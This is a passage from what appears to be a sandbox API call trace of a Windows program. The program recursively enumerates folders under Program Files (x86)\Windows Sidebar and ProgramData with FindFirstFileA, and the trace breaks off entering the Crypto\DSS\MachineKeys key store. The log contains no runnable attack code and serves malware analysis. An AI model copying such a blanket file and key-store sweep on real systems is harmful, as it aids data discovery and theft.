out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee90aa40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee90aa40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.807] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee90aa40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee90aa40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.812] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.816] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.816] GetFileType (hFile=0xd4) returned 0x1 [0126.817] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.818] GetFileType (hFile=0xd4) returned 0x1 [0126.819] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.822] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.826] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee930ba0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee930ba0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.828] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.829] GetFileType (hFile=0xd4) returned 0x1 [0126.830] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.831] GetFileType (hFile=0xd4) returned 0x1 [0126.832] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.835] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.836] GetFileType (hFile=0xd4) returned 0x1 [0126.837] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.837] GetFileType (hFile=0xd4) returned 0x1 [0126.838] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.841] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee956d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee956d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.845] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee97ce60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee97ce60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.845] GetFileType (hFile=0xd4) returned 0x1 [0126.846] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee97ce60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee97ce60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.849] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee97ce60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee97ce60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.853] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee97ce60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee97ce60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.859] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee9a2fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9a2fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.863] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee9a2fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9a2fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.871] GetFileType (hFile=0x120) returned 0x1 [0126.872] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee9a2fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9a2fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.873] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee9a2fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9a2fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825850 [0126.874] GetFileType (hFile=0x108) returned 0x1 [0126.875] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.875] GetFileType (hFile=0x120) returned 0x1 [0126.876] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.877] GetFileType (hFile=0xc8) returned 0x1 [0126.878] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.879] GetFileType (hFile=0xc4) returned 0x1 [0126.880] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.880] GetFileType (hFile=0xd4) returned 0x1 [0126.881] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.882] GetFileType (hFile=0x120) returned 0x1 [0126.883] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.886] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee9c9120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9c9120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.888] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Application Data\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0126.892] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Desktop\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0126.893] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Documents\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0126.894] GetFileType (hFile=0x108) returned 0x1 [0126.895] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Favorites\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0126.897] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee9ef280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9ef280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.897] GetFileType (hFile=0x120) returned 0x1 [0126.898] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xee9ef280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9ef280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.898] GetFileType (hFile=0xc8) returned 0x1 [0126.899] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xee9ef280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9ef280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.900] GetFileType (hFile=0xc4) returned 0x1 [0126.903] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xee9ef280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee9ef280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.907] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.908] GetFileType (hFile=0x120) returned 0x1 [0126.910] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.910] GetFileType (hFile=0xc8) returned 0x1 [0126.912] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.913] GetFileType (hFile=0xc4) returned 0x1 [0126.914] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x42bc88 | 